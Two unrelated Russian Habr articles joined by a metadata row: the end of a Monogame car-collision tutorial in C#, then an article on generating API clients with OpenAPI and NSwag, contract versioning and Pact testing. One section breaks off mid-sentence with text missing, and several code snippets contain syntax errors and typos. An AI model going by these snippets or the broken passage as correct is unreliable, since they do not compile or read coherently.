Но работает не совсем так, как нужно. Машинки въезжают друг в друга и намертво сцепляются, так как во время сдачи назад все еще есть пересечение их коллайдеров, поэтому скорость обнуляется. Нужно придумать что-нибудь, чтобы после въезжания коллайдеров друг в друга машинки выезжали друг из друга. Здесь я опять застопорился. Можно было бы просто вернуть машинку на изначальную позицию, но тут я подумал – ведь это не универсальное решение! Оно не будет работать в тех же платформерах, где есть гравитация, потому что персонажи не смогут двигаться по горизонтали, их будет откатывать назад. Мне же хотелось сделать универсальное решение, потому что я люблю универсальные решения! Но так как родить своей головой в этот раз я ничего не смог, то наступил на горло своей гордыне, полез на ютуб и посмотрел, как делают обсчет столкновений другие люди.
Собственно, именно по Monogame самые полные видеообучения лежат на этом [канале](https://www.youtube.com/c/Oyyou).
Посмотрел 9-й урок – обсчет коллизий. Залез на гитхаб автора, и увидел там вот это:
То есть, у нас есть 4 метода, которые проверяют, сталкивается ли текущий коллайдер, если его сдвинуть на шаг в определенном направлении с тем коллайдером, для которого мы проверяем столкновение, и еще и смотрим, где они столкнулись относительно текущего – сверху, снизу, по бокам. Мне стало плохо, я стал искать дальше. Второй ролик, на котором я остановил внимание, оказался [интереснее](https://www.youtube.com/watch?v=_ixoAxpbSNw&ab_channel=LioncatDevStudio). Там даже человек, вроде как, делает целиковую игру, но это RPG с видом сверху. То есть – правильно – он просто откатывает персонажа на предыдущий шаг, если произошло пересечение с препятствием, гравитации тут нет. Моя мечта о единой модели для всего рухнула, поэтому я сдался и тупо стал откатывать машинку на шаг назад.
*Комментарий: в самой первой статье я говорил, что не встречал материалов, где целиком создают законченную игру. Я раньше не видел этот ролик и, возможно, на этом канале автор делает именно это, но утверждать не могу.*
```
<......................................>
Vector2 playerInitPos = Objects[PlayerId].Pos;
for (int i = 1; i <= Objects.Keys.Count; i++)
{
//Добавляем сохранение начальной позиции проверяемого объекта
Vector2 objInitPos = Objects[i].Pos;
Objects[i].Update();
//Приводим объект не к Car, а к ISolid, что более правильно,
//и смотрим, сдвинулся ли он после Update
if (Objects[i] is ISolid p1 && objInitPos != Objects[i].Pos)
{
//Отсчитываем все ключи, чтобы избежать ситуации, когда
//при определенном порядке ключей столкновения нет
for (int j = 1; j <= Objects.Keys.Count; j++)
{
//Сам с собой объект не сталкивается
if (i == j)
continue;
if (Objects[j] is ISolid p2)
{
if (RectangleCollider.IsCollided(p1.Collieder, p2.Collider))
{
Objects[i].Pos = objInitPos;
p1.MoveCollider(Objects[i].Pos);
}
}
}
}
}
<......................................>
```
Теперь мы сохраняем начальную позицию объекта и, если он с чем-то столкнется, возвращаем его назад. Кстати, обратите внимание, что я передвигаю и объект, и его коллайдер в игровом цикле. Это плохое решение (так как в суматохе можно забыть после сдвига объекта сдвинуть и его коллайдер), которое мы потом поправим. Запускаем — работает:
Кажется, что работает. Но, на самом деле нет. Вы же помните, что я убрал механику ускорения у машинок? А что, если ее вернуть?
```
public void Update()
{
Pos += Speed;
MoveCollider(Pos);
Speed = new Vector2 (0, Speed.Y);
//Speed = new Vector2(0,0);
}
```
Если скорость отличается от 1, то столкновение будет не вплотную:
Это происходит потому, что если машинка сдвинулась на 5 шагов, то и откатит ее обратно на 5 шагов. Чтобы такого не было, нужно не возвращать объект на начальную позицию, а сдвигать на единицу длины в том направлении, откуда она пришла. Обработчик столкновений теперь будет выглядеть существенно сложнее:
```
<......................................>
Vector2 playerInitPos = Objects[PlayerId].Pos;
for (int i = 1; i <= Objects.Keys.Count; i++)
{
Vector2 objInitPos = Objects[i].Pos;
Objects[i].Update();
if (Objects[i] is ISolid p1 && objInitPos != Objects[i].Pos)
{
for (int j = 1; j <= Objects.Keys.Count; j++)
{
if (i == j)
continue;
if (Objects[j] is ISolid p2)
{
bool isCollided = false;
while (RectangleCollider.IsCollided(p1.Collieder, p2.Collider))
{
var oppositeDirection = Objects[i].Speed;
oppositeDirection.Normalize();
Objects[i].Pos = Objects[i].Pos-oppositeDirection;
p1.MoveCollider(Objects[i].Pos);
}
}
}
}
}
<......................................>
```
Вместо if делаем цикл while, который будем крутить до тех пор, пока объекты не перестанут пересекаться. Внутри самого цикла мы сохраняем текущую скорость в oppositeDirection. Далее, мы нормализуем этот вектор (для Vector2 в Monogame есть такая процедура), после чего он становится единичным, но смотрит по направлению скорости объекта. Далее ставим объект в точке (Текущая позиция — вектор скорости), тем самым сместив объект обратно на единицу длины. Кроме того, вводим переменную isCollided — если объекты столкнулись, то тормозим текущий объект. В общем, первая версия обработчика закончена, но сначала немного порефакторим. Идем в класс машинки и создаем метод Move, чтобы коллайдер двигался в связке с самим объектом автоматически:
```
<..........................>
public void Update()
{
Move(Pos + Speed);
Speed = new Vector2(0, Speed.Y);
}
public void Move(Vector2 newPos)
{
Pos = newPos;
MoveCollider(Pos);
}
<..........................>
```
Чтобы можно работать с более общими конструкциями, вынесем метод Move в IObject и реализуем метод Move еще и в стенке (так как она тоже реализует IObject), но оставим его пустым (код со стенкой я выносить сюда не буду, чтобы не захламлять статью). Теперь немного поинкапсулируем. Дело в том, что мы добавили метод Move, но никто не мешает нам поменять позицию объекта, напрямую обращаясь к свойству, вызвав рассинхронизацию позиции коллайдера и объекта. Для этого просто уберем из свойства Pos интерфейса IObject сеттер. Новый код объекта сейчас выглядит следующим образом:
```
public interface IObject
{
int ImageId { get; set; }
//Убрали сеттер из свойства Pos
Vector2 Pos { get; }
Vector2 Speed { get; set; }
void Update();
//Добавили метод Move
void Move(Vector2 pos);
}
```
Таким образом мы определяем у свойства интерфейса публичный геттер, а сеттер уже можем реализовывать у конкретного класса, как нам хочется, при этом если экземпляр класса скрыт в интерфейсе IObject, мы менять свойство Pos не сможем. У машинки сеттер сделаем приватным:
```
public class Car : IObject, ISolid
{
private Vector2 _speed;
//Теперь позицию менять можно только внутри самой машинки
public Vector2 Pos { get; private set; }
RectangleCollider Collider { get; set; }
//Заодно сделаем свойство скорости, чтобы не ускоряться до бесконечности
public Vector2 Speed
{
get
{
return _speed;
}
set
{
_speed = value;
if (_speed.Y > 20)
_speed.Y = 20;
else if (_speed.Y < -20)
_speed.Y = -20;
}
}
public Car(Vector2 position)
{
Pos = position;
Collider = new RectangleCollider((int)Pos.X, (int)Pos.Y, 77, 100);
}
public void Update()
{
Pos += Speed;
MoveCollider(Pos);
Speed = new Vector2(0, Speed.Y);
}
public void MoveCollider(Vector2 newPos)
{
Collider = new RectangleCollider((int)Pos.X, (int)Pos.Y, 77, 100);
}
}
```
Теперь мы не можем двигать машинку извне (например, в GameCycle) просто так — только через метод Move. Аналогично можно заприватить сеттер стенки на всякий случай.
Однако, у нас есть следующий баг– если скорость обнуляется к моменту обсчета коллизий, то объект не сдвигается обратно, так как мы сделали привязку к вектору скорости. На самом деле, программу вообще выкидывает, потому что в этом случае мы делим на модуль вектора, равный 0. Сделаем привязку направления возврата не к скорости, а к предыдущей позиции:
```
<.........................................>
bool isCollided = false;
while (RectangleCollider.IsCollided(p1.Collieder, p2.Collider))
{
//Теперь вектор возврата высчитывается как разность
//векторов текущей и начальной позиций
Vector2 oppositeDirection = Objects[i].Pos - objInitPos;
oppositeDirection.Normalize();
Objects[i].Pos = Objects[i].Pos - oppositeDirection;
p1.MoveCollider(Objects[i].Pos);
}
<.........................................>
```
И, если запустить, то все, наконец-то, работает!
Теперь снова немного порефакторим – сделаем код менее кривым, а также создадим задел на будущее – у нас могут быть разные категории столкновений, и пихать все это в несчастный метод Update будет некрасиво. Нужно разделение труда. Кроме того, здесь будет незаметный пока баг – у нас имеет значение порядок обсчета – тормозится и сдвигается только тот объект, который стоит на месте p1. Так как вторая машинка неподвижна, то все в порядке, но если у нас будет происходить столкновение движущихся объектов, то тормозиться от столкновения будет только тот, у которого айдишник меньше.
Сама напрашивается мысль вынести процедуру обсчета в отдельный метод. Но не все так просто – мы не можем просто взять и вырезать кусок кода с обсчетом в отдельный метод, так как, если посмотреть внимательнее, то у нас в одном и том же цикле вызывается Update объекта, затем вызывается еще один цикл, и для обсчета столкновения используются оба индекса. Иными словами, в одном и том же цикле все накидано в кучу, он отвечает сразу за несколько вещей, что неправильно.
Поэтому я решил сделать в Update два цикла – первый просто вызывает Update у объектов, как и раньше, а во втором мы уже перебираем объекты, которые должны посталкиваться. А сталкиваться они уже будут с помощью вызова в отдельного метода. С него и начнем. По моей задумке этот метод должен заниматься всем, что относится к «физике» - проверяет, ISolid ли объекты, столкнулись ли, и что с этим делать:
```
private void CalculateObstacleCollision(
(Vector2 initPos, int Id) obj1,
(Vector2 initPos, int Id) obj2
)
{
bool isCollided = false;
if (Objects[obj1.Id] is ISolid p1 && Objects[obj2.Id] is ISolid p2)
{
Vector2 oppositeDirection = new Vector2 (0, 0);
while (RectangleCollider.IsCollided(p1.Collider, p2.Collider))
{
isCollided = true;
if (obj1.initPos != Objects[obj1.Id].Pos)
{
oppositeDirection = Objects[obj1.Id].Pos - obj1.initPos;
oppositeDirection.Normalize();
Objects[obj1.Id].Move(Objects[obj1.Id].Pos - oppositeDirection);
}
if (obj2.initPos != Objects[obj2.Id].Pos)
{
oppositeDirection = Objects[obj2.Id].Pos - obj2.initPos;
oppositeDirection.Normalize();
Objects[obj2.Id].Move(Objects[obj2.Id].Pos - oppositeDirection);
}
}
}
if (isCollided)
{
Objects.[obj1.Id].Speed = new Vector2(0, 0);
Objects.[obj2.Id].Speed = new Vector2(0, 0);
}
}
```
Я его назвал CalculateObstacleCollision, так как он при столкновении будет просто не давать объектам входить друг в друга. Позднее я хочу сделать другие типы столкновений, например нечто более «физичное», с учетом массы объектов. В качестве аргументов наш метод принимает два кортежа, которые содержат начальную позицию объекта на начало игрового цикла и айдишник этого объекта. Начальную позицию знать необходимо, иначе мы не будем понимать, в какую сторону толкать объект обратно. Все же данные по текущему состоянию объекта мы можем получить из списка Objects, поэтому методу нужен только его Id.
Дальше немного упорядочиваем проверку. Сначала нужно проверить, чтобы оба объекта реализовывали интерфейс ISolid. После этого крутим тот же цикл while, что и до этого в Update, но теперь мы для обоих объектов проверяем, двигались ли они на этом ходу, и, если да, то обоих сдвигаем в обратно направлении на единичный вектор. В конце обнуляем скорость тоже у обоих. Теперь не имеет значения порядок обсчета объектов.
Приступим в модернизации метода Update:
```
public void Update()
{
Vector2 playerInitPos = ObjectSecurity[PlayerId].Pos;
Dictionary collisionObjects = new Dictionary();
foreach (var i in Objects.Keys)
{
Vector2 initPos = Objects[i].Pos;
Objects[i].Update();
collisionObjects.Add(i, initPos);
}
foreach (var i in collisionObjects.Keys)
{
foreach (var j in collisionObjects.Keys)
{
if (i==j)
continue;
CalculateObstacleCollision(
(collisionObjects[i],i),
(collisionObjects[j],j)
);
}
}
Vector2 playerShift = Objects[PlayerId].Pos - playerInitPos;
Updated.Invoke(this, new GameplayEventArgs
{
Objects = Objects,
POVShift = playerShift
});
}
```
Создаем еще один словарь, который по ключу хранит айдишник объекта, а по значению – его начальную позицию на начало игрового цикла. После вызова Update у каждого объекта сохраняем новый элемент в этом словаре. Кроме того, я поменял цикл – теперь я прохожусь с использованием foreach. Дело в том, что если порядок айдишников нарушится, например, мы удалим какой-то объект из списка, то вся наша стройная система навернется, так как цикл for будет пытаться обратиться к несуществующему объекту. С foreach такой проблемы не будет.
Теперь смотрим на кусок обсчета столкновений. Мы добавили двойной цикл по нашему новому словарю collisionObjects, делаем в нем проверку на неравенство ключей, чтобы объект не сталкивался сам с собой, на вход метода собираем кортежи из наших ключей. Если запустим, то увидим, что ничего не поменялось – это хорошо.
Вернем обратно нашу большую карту для тестирования, со стенками и прочим:
```
private char [,] _map = new char [11, 500];
private int _tileSize = 100;
public int PlayerId { get ;set; }
public Dictionary Objects { get; set; }
public void Initialize()
{
Objects = new Dictionary();
\_map[5, 7] = 'P';
\_map[4, 4] = 'C';
\_map[6, 4] = 'C';
\_map[5, 2] = 'W';
for (int y = 0; y < \_map.GetLength(1); y++)
{
\_map[0, y] = 'W';
\_map[\_map.GetLength(0) - 1, y] = 'W';
}
}
```
И видим, что игра безбожно тормозит. Ибо у нас 1000 стенок, каждая из них отдельный объект и, даже несмотря на то, что мы стенки пока не сделали твердыми, в цикле collisionObjects они крутятся. Мы проверяем столкновение всех объектов со всеми независимо от их местоположения. Если поставить поле хотя бы 11х100, а не 11х500, то все работает прекрасно. Добавим стенке свойство твердости - реализуем в ней интерфейс ISolid; MoveCollider и Move продублируем с машинки.
При размере трассы 11х100 работает неплохо, а проблему неоптимального обсчета столкновений мы решим в следующей статье. Пока же на маленькой трассе видно, что наш мир обрел форму:
На сегодня все, большое спасибо за внимание! | https://habr.com/ru/post/695500/ | null | ru | null |
# Публичные контракты, как обеспечить их согласованность
* ваша система состоит из множества взаимосвязанных сервисов?
* всё ещё вручную актуализируете код сервисов при изменении публичного API?
* изменения в ваших сервисах часто подрывают работу других, а другие разработчики вас за это ненавидят?
Если ответили да хотя бы один раз, то добро пожаловать!
#### Термины
*Публичные контракты, спецификации* – публичные интерфейсы, через которые можно взаимодействовать с сервисом. В тексте означают одно и то же.
#### О чем статья
Узнаете, как сократить время на разработку веб-сервисов, используя инструменты унифицированного описания контрактов и автоматической генерации кода.
Грамотное использование описанных ниже техник и инструментов позволит быстрее выкатывать новые фичи и не ломать старые.
#### Как выглядит проблема
Есть система, которая состоит из нескольких сервисов. Эти сервисы закреплены за разными командами.
Сервисы-потребители зависят от сервиса-поставщика.
Система развивается, и однажды сервис-поставщик меняет свои публичные контракты.
Если сервисы-потребители не готовы к изменениям, то система перестает полноценно работать.
### Как решить эту проблему
#### Команда сервиса поставщика сама всё поправит
Так можно поступить, если команда поставщика владеет предметной областью других сервисов и имеет доступ к их git-репозиториям. Это сработает только в небольших проектах, когда зависимых сервисов немного. Это самый дешевый вариант. По возможности, следует воспользоваться им.
#### Актуализировать код своего сервиса команде потребителя
Почему ломают другие, а чиним мы?
Однако главный вопрос — это как починить свой сервис, как теперь выглядит контракт? Нужно изучать новый код сервиса поставщика или обращаться к их команде. Тратим время на изучение кода и на взаимодействие с другой командой.
#### Подумать, что сделать чтобы проблема не проявлялась
Самый разумный вариант в долгосрочной перспективе. Рассмотрим его в следующем разделе.
### Как не допустить проявления проблемы
Жизненный цикл разработки ПО можно представить тремя этапами: проектирование, реализация и тестирование.
Каждый из этапов нужно расширить следующим образом:
1. На этапе проектирования декларативно определяем контракты.
2. Во время реализации генерируем серверный и клиентский код по контрактам.
3. При тестировании проверяем контракты и стараемся учитывать потребности клиентов (CDC).
Каждый из этапов объясняется далее на примере нашей проблемы.
### Как проблема выглядит у нас
Так выглядит наша экосистема.
Кружочки – сервисы, а стрелочки – каналы общения между ними.
Frontend – клиентское web-приложение.
Большинство стрелок ведут в Storage Service. В нем хранятся документы. Это самый важный сервис. Ведь наш продукт – это система электронного документооборота.
Стоит этому сервису поменять свои контракты, система сразу перестанет работать.
Исходники нашей системы преимущественно написаны на c#, но также есть сервисы на Go и Python. В данном контексте неважно, чем занимаются остальные сервисы на рисунке.
В каждом сервисе своя реализация клиента для работы с сервисом хранилищ. При изменении контрактов нужно вручную актуализировать код в каждом проекте.
Хочется уйти от ручной актуализации в сторону автоматической. Это поможет увеличить скорость изменения клиентского кода и сократить количество ошибок. Под ошибками понимаются опечатки в URL, ошибки из-за невнимательности и т.п.
Однако, этим подходом не исправишь ошибки в клиентской бизнес-логике. Скорректировать её можно только вручную.
### От проблемы к задаче
В нашем случае требуется реализовать **автоматическую генерацию клиентского кода.**
При этом нужно учитывать следующее:
* серверная часть – контроллеры уже написаны;
* браузер является клиентом сервиса;
* сервисы взаимодействуют по HTTP;
* генерация должна настраиваться. Например, для поддержки JWT.
### Вопросы
В ходе решения задачи встали вопросы:
* какой инструмент выбрать;
* как получить контракты;
* где расположить контракты;
* где расположить код клиента;
* в какой момент выполнять генерацию.
Дальше приводятся ответы на эти вопросы.
### Какой инструмент выбрать
Инструменты для работы с контрактами представлены по двум направлениям – RPC и REST.
Под RPC можно понимать просто удаленный вызов, в то время как REST требует соблюдения дополнительных условий на HTTP-глаголы и URL.
**Отличия в вызове RPC и REST представлены здесь**
| | |
| --- | --- |
| RPC – Remote procedure call | REST Representational State Transfer |
| Методы и процедуры | Ресурсы, HTTP-глаголы и URL |
| Создание | [Restaurant](http://Restaurant):8080/Orders/PlaceOrder | POST | [Restaurant](http://Restaurant):8080/Orders |
| Получение | [Restaurant](http://Restaurant):8080/Orders/GetOrder?OrderNumber=1 | GET | [Restaurant](http://Restaurant):8080/Orders/1 |
| Изменение | [Restaurant](http://Restaurant):8080/Orders/UpdateOrder | PUT | [Restaurant](http://Restaurant):8080/Orders/1 |
### Инструменты
В таблице представлено сравнение инструментов для работы с REST и RPC.
| | | | | |
| --- | --- | --- | --- | --- |
| Свойства | OpenAPI | WSDL | Thrift | gRPC |
| Тип | REST | RPC |
| Платформа | Не зависит |
| Язык | Не зависит |
| Последовательность разработки\* | code first, spec first | code first, spec first | spec first | code first, spec first |
| Транспортный протокол | HTTP/1.1 | любой (REST требует HTTP) | собственный | HTTP/2 |
| Вид | спецификация | фреймворк |
| Комментарий | Низкий порог вхождения, много документации | Избыточность XML, тянет за собой SOAP и т.п. | Высокий порог вхождения, мало документации | Средний порог вхождения, лучше документация |
*Code first* — сначала пишем серверную часть, а затем по ней получаем контракты. Удобно, когда серверная часть уже написана. Не нужно вручную описывать контракты.
*Spec first* — сначала определяем контракты, потом по ним получаем клиентскую часть и серверную часть. Удобно в начале разработки, когда кода еще нет.
**Вывод**
WSDL не подходит из-за своей избыточности.
Apache Thrift слишком экзотический и непростой в освоении.
GRPC требует net Core 3.0 и net Standard 2.1. На момент анализа использовался net Core 2.2 и net Standard 2.0. Нет поддержки GRPC в браузере из коробки, требуется внедрять дополнительное решение. GRPC использует бинарную сериализацию Protobuf и HTTP/2. Из-за этого сужается круг утилит для тестирования API типа Postman и т.п. Нагрузочное тестирование через какой-нибудь JMeter может потребовать дополнительных усилий. Не подходит, переход на GRPC требует много ресурсов.
**OpenAPI не требует дополнительных обновлений. Подкупает обилие инструментов, поддерживающих работу с REST и этой спецификацией. Выбираем его.**
### Инструменты для работы с OpenAPI
В таблице представлено сравнение инструментов для работы с OpenAPI.
| | | | |
| --- | --- | --- | --- |
| Инструменты | swashbuckle | NSwag | OpenAPITools |
| Поддерживаемые версии спецификации | Могут генерировать спецификацию в формате OpenApi v2, v3 |
| Поддержка code first | Есть | Есть | Нет |
| Поддерживаемые языки сервера | Нет | C# | Много |
| Поддерживаемые языки клиентов | Нет | C#, TypeScript, AngularJS, Angular (v2+), window.fetch API | Много |
| Настройки генерации | Нет | Есть | Есть |
| Вид | Nuget пакет | Nuget пакет + отдельная утилита | Отдельная утилита |
**Вывод**
Swashbuckle не подходит, т.к. позволяет получить только спецификацию. Чтобы сгенерировать клиентский код нужно воспользоваться дополнительным решением.
OpenApiTools интересный инструмент с кучей настроек, но он не поддерживает code first. Его преимущество – это способность генерировать серверный код на множестве языков.
**NSwag удобен тем, что это Nuget пакет. Его легко подключить при сборке проекта. Поддерживает всё, что нам нужно: code first подход и генерацию клиентского кода на c#. Выбираем его.**
### Где расположить контракты. Как осуществить доступ сервисов к контрактам
Здесь представлены решения по организации хранения контрактов. Решения перечислены в порядке увеличения их сложности.
* папка проекта сервиса поставщика – самый простой вариант. Если нужно обкатать подход, то выбрать его.
* общая папка – допустимый вариант, если нужные проекты находятся в одном репозитории. В долгосрочной перспективе будет сложно поддерживать целостность контрактов в папке. Для этого может потребоваться дополнительный инструмент, чтобы учитывать разные версии контрактов и т.п.
* отдельный репозиторий для спецификаций – если проекты находятся в разных репозиториях, то контракты следует вынести в общедоступное место. Недостатки такие же, как и общей папки.
* через API сервиса (swagger.ui, swaggerhub) – отдельный сервис, который занимается управлением спецификациями.
**Мы решили использовать самый простой вариант – хранить контракты в папке проекта сервиса-поставщика. На данном этапе нам этого достаточно, так зачем платить больше?**
### В какой момент выполнять генерацию
Теперь нужно определиться, в какой момент выполнять генерацию кода.
Если бы контракты располагались в общем доступе, сервисы-потребители могли бы получать контракты и сами генерировать код по необходимости.
**Мы решили расположить контракты в папке с проектом сервиса-поставщика. Значит, генерацию можно сделать после сборки самого проекта сервиса поставщика.**
### Где расположить код клиента
Клиентский код будет сгенерирован по контрактам. Осталось выяснить, где его расположить.
Кажется хорошей идеей расположить клиентский код в отдельном проекте StorageServiceClientProxy. Каждый проект сможет подключить себе эту сборку.
Преимущества этого решения:
* клиентский код близко к своему сервису и постоянно в актуальном состоянии;
* потребители могут использовать ссылку на проект в рамках одного репозитория.
Недостатки:
* не сработает, если потребуется сгенерировать клиента в другой части системы, Например, другой репозиторий. Решается использованием, как минимум, общей папки для контрактов;
* потребители должны быть написаны на том же языке. Если нужен клиент на другом языке, нужно использовать OpenApiTools.
Прикручиваем NSwag
------------------
### Атрибуты контроллеров
Нужно подсказать NSwag, как сгенерировать правильную спецификацию по нашим контроллерам.
Для этого необходимо расставить атрибуты.
```
[Microsoft.AspNetCore.Mvc.Routing.Route("[controller]")] // часть url
[Microsoft.AspNetCore.Mvc.ApiController] // контроллер участвует в генерации спецификации
public class DescriptionController : ControllerBase {
[NSwag.Annotations.OpenApiOperation("GetDescription")] // название метода в спецификации
[Microsoft.AspNetCore.Mvc.ProducesResponseType(typeof(ConversionDescription), 200)] // метод может вернуть 200 и тип
[Microsoft.AspNetCore.Mvc.ProducesResponseType(401)] // метод может вернуть 401
[Microsoft.AspNetCore.Mvc.ProducesResponseType(403)] // метод может вернуть 403
[Microsoft.AspNetCore.Mvc.HttpGet("{pluginName}/{binaryDataId}")] // часть url
public ActionResult GetDescription(string pluginName, Guid binaryDataId) {
// код...
}
```
По умолчанию NSwag не может сгенерировать правильную спецификацию для MIME типа application/octet-stream. Например, такое может произойти, когда передаются файлы. Чтобы исправить это, нужно написать свой атрибут и процессор для создания спецификации.
```
[Microsoft.AspNetCore.Mvc.Route("[controller]")]
[Microsoft.AspNetCore.Mvc.ApiController]
public class FileController : ControllerBase {
[NSwag.Annotations.OpenApiOperation("SaveFile")]
[Microsoft.AspNetCore.Mvc.ProducesResponseType(401)]
[Microsoft.AspNetCore.Mvc.ProducesResponseType(403)]
[Microsoft.AspNetCore.Mvc.HttpPost("{pluginName}/{binaryDataId}/{fileName}")]
[OurNamespace.FileUploadOperation] // самописный атрибут
public async Task SaveFile() { // код... }
```
### Процессор для генерации спецификации для файловых операций
Идея заключается в том, что можно написать свой атрибут и процессор для обработки этого атрибута.
Вешаем атрибут на контроллер, и, когда NSwag встретит его, он обработает его с использованием нашего процессора.
Чтобы это реализовать, NSwag предоставляет классы OpenApiOperationProcessorAttribute и IOperationProcessor.
В нашем проекте мы сделали своих наследников:
* FileUploadOperationAttribute: OpenApiOperationProcessorAttribute
* FileUploadOperationProcessor: IOperationProcessor
[Подробнее про использование процессоров тут](https://github.com/RicoSuter/NSwag/wiki/Document-Processors-and-Operation-Processors)
### Конфигурация NSwag для генерации спецификации и кода
В конфиге 3 основные секции:
* runtime – указывается .net runtime. Например, NetCore22;
* documentGenerator – описывается, как сгенерировать спецификацию;
* codeGenerators – определяется, как сгенерировать код по спецификации.
NSwag содержит кучу настроек, что сначала запутывает.
Для удобства можно воспользоваться NSwag Studio. С помощью неё можно в режиме реального времени смотреть, как влияют различные настройки на результат генерации кода или спецификации. После этого выбранные настройки вручную отразить в конфигурационном файле.
[Подробнее про настройку конфига тут](https://github.com/RicoSuter/NSwag/wiki/NSwag-Configuration-Document)
### Генерируем спецификацию и клиентский код при сборке проекта сервиса-поставщика
Чтобы после сборки проекта сервиса-поставщика генерировалась спецификация и код, сделали следующее:
1. Создали WebApi проект для клиента.
2. Написали конфиг для Nswag CLI – Nswag.json (описан в предыдущем разделе).
3. Написали PostBuild Target внутри csproj проекта сервиса поставщика.
`jwt.io.
Задача сводится к тому, что нужно модифицировать заголовки исходящего HTTP запроса.
Для этого генератор кода NSwag может сгенерировать точку расширения – метод CreateHttpRequestMessageAsync. Внутри этого метода есть доступ к HTTP запросу до того, как он будет отправлен.
**Пример кода**
```
protected Task CreateHttpRequestMessageAsync(CancellationToken cancellationToken) {
var message = new HttpRequestMessage();
if (!string.IsNullOrWhiteSpace(this.AuthorizationToken)) {
message.Headers.Authorization =
new System.Net.Http.Headers.AuthenticationHeaderValue(BearerScheme, this.AuthorizationToken);
}
return Task.FromResult(message);
}
```
Вывод
-----
Мы выбрали вариант с OpenAPI, т.к. внедрить его несложно, а инструменты для работы с этой спецификацией весьма развиты.
Выводы по OpenAPI и GRPC:
**OpenAPI**
* спецификация многословна;
* генерация прикручивается быстро за счёт хорошей документации к спецификации и инструментам, её реализующим;
* пришлось докрутить процессор для генерации спецификации;
* много атрибутов на контроллерах отвлекают.
**GRPC**
* выше уровень абстракции, не нужно явно работать с URL, HTTP и т.п.;
* спецификация более человекочитаемая по сравнению с OpenAPI;
* нет поддержки браузером из коробки;
* использовать пока не имеет смысла без обновления фреймворка и всех зависимых проектов;
* подходит для общения микросервисов по HTTP/2.
Таким образом, мы получили спецификацию на основе уже написанного кода контроллеров. Для этого понадобилось навесить на контроллеры специальные атрибуты.
Затем на основе полученной спецификации реализовали генерацию клиентского кода. Теперь нам не нужно вручную актуализировать клиентский код.
Были проведены исследования в области версионирования и тестирования контрактов. Однако не удалось опробовать все это дело на практике из-за нехватки ресурсов.
Версионирование публичных контрактов
------------------------------------
### Зачем нужно версионирование публичных контрактов
После изменений в сервисах-поставщиках вся система должна оставаться в согласованном, рабочем состоянии.
Нужно избежать breaking changes в публичном API, чтобы не поломать клиентов.
### Варианты решения
#### Без версионирования публичных контрактов
Команда сервиса-поставщика сама исправляет сервисы-потребители.
Этот подход не сработает, если у команды сервиса-поставщика нет доступа к репозиториям сервисов-потребителей или не хватает компетенций. Если таких проблем нет, то можно обойтись без версионирования.
#### Использовать версионирование публичных контрактов
Команда сервиса-поставщика оставляет предыдущую версию контрактов.
Данный подход лишен недостатков предыдущего, но добавляет другие сложности.
Нужно определиться со следующим:
* какой инструмент использовать;
* когда вводить новую версию;
* как долго поддерживать старые версии.
### Какой инструмент использовать
В таблице представлены возможности OpeanAPI и GRPC, связанные с версионированием.
| | | |
| --- | --- | --- |
| | gRPC | OpenAPI |
| Атрибут версии | На уровне protobuf есть атрибут package [packageName].[Version] | На уровне спецификации есть атрибуты basePath (для URL) и Version |
| Атрибут Deprecated для методов | Есть, но не учитывается генератором кода под C# | Есть, помечается как Obsolete
В NSwag не поддерживается при code first, нужно писать свой процессор |
| Атрибут Deprecated для параметров | Есть, помечается как Obsolete | Есть, помечается как Obsolete
В NSwag не поддерживается при code first, нужно писать свой процессор |
*Deprecated* – значит, что этим API больше не стоит пользоваться.
Оба инструмента поддерживают атрибуты версии и Deprecated.
Если использовать OpenAPI и подход code first, снова нужно писать процессоры для создания правильной спецификации.
### Когда вводить новую версию
Новую версию нужно вводить, когда изменения в контрактах не сохраняют обратную совместимость.
Как проверить, что изменения нарушают совместимость между новой и старой версией контрактов?
* для OpenAPI есть инструмент Azure opeanapi-diff проверки совместимости между 2 спецификациями [github.com/Azure/openapi-diff;](https://github.com/Azure/openapi-diff;)
* для gRPC автоматического инструмента не обнаружено, есть только политики версионировния;
* общие [github.com/grpc/grpc/blob/master/doc/versioning.md;](https://github.com/grpc/grpc/blob/master/doc/versioning.md;)
* под .Net [docs.microsoft.com/ru-ru/aspnet/core/grpc/versioning?view=aspnetcore-3.1](https://docs.microsoft.com/ru-ru/aspnet/core/grpc/versioning?view=aspnetcore-3.1).
### Как долго поддерживать версии
На этот вопрос нет правильного ответа.
Чтобы убрать поддержку старой версии, нужно знать, кто пользуется вашим сервисом.
Будет плохо, если версию уберут, а ею ещё кто-то пользуется. Особенно сложно, если вы не контролируете своих клиентов.
Так что можно сделать в этой ситуации?
* уведомлять клиентов, что старая версия больше поддерживаться не будет. В этом случае можем потерять доход клиентов;
* поддерживать весь набор версий. Растет стоимость поддержки ПО;
* чтобы ответить на этот вопрос, нужно спросить бизнес – превышает ли доход от старых клиентов затраты на поддержку старых версий ПО? Может выгоднее попросить клиентов обновиться?
Единственный совет в такой ситуации – уделять больше внимания публичным контрактам, чтобы снизить частоту их изменений.
Если публичные контракты используются в замкнутой системе, можно воспользоваться подходом CDC. Так можем узнавать о том, когда клиенты перестали использовать старые версии ПО. После этого можно убирать поддержку старой версии.
### Вывод
Используйте версионирование, только если без него не обойтись. Если решили использовать версионирование, то при проектировании контрактов учитывайте совместимость версий. Нужно найти баланс между стоимостью поддержки старых версий и выгодой, которую она дает. Также стоит определиться с тем, когда можно перестать поддерживать старую версию.
Тестирование контрактов и CDC
-----------------------------
Данный раздел освещается поверхностно, т.к. нет серьезных предпосылок для внедрения этого подхода.
### Consumer driven contracts (CDC)
CDC это ответ на вопрос, как гарантировать, что поставщик и потребитель используют одинаковые контракты. Это своего рода интеграционные тесты, направленные на проверку контрактов.
Идея в следующем:
1. Потребитель описывает контракт.
2. Поставщик реализует этот контракт у себя.
3. Этот контракт используется в CI-процессе у потребителя и поставщика. Если процесс нарушился, значит кто-то перестал соблюдать контракт.
### Pact
PACT – это инструмент, который реализует эту идею.
1. Потребитель пишет тесты с помощью PACT библиотеки.
2. Эти тесты преобразуются в артефакт – pact-файл. Он содержит информацию о контрактах.
3. Поставщик и потребитель используют pact-файл для запуска тестов.
Во время тестов клиента создается заглушка поставщика, а во время тестов поставщика создается заглушка клиента. Обе этих заглушки используют pact-файл.
Похожее поведение по созданию заглушек можно достичь через Swagger Mock Validator [bitbucket.org/atlassian/swagger-mock-validator/src/master](https://bitbucket.org/atlassian/swagger-mock-validator/src/master/).
### Полезные ссылки про Pact
* Pact broker – решение для управления pact-файлами [docs.pact.io/pact\_broker](https://docs.pact.io/pact_broker)
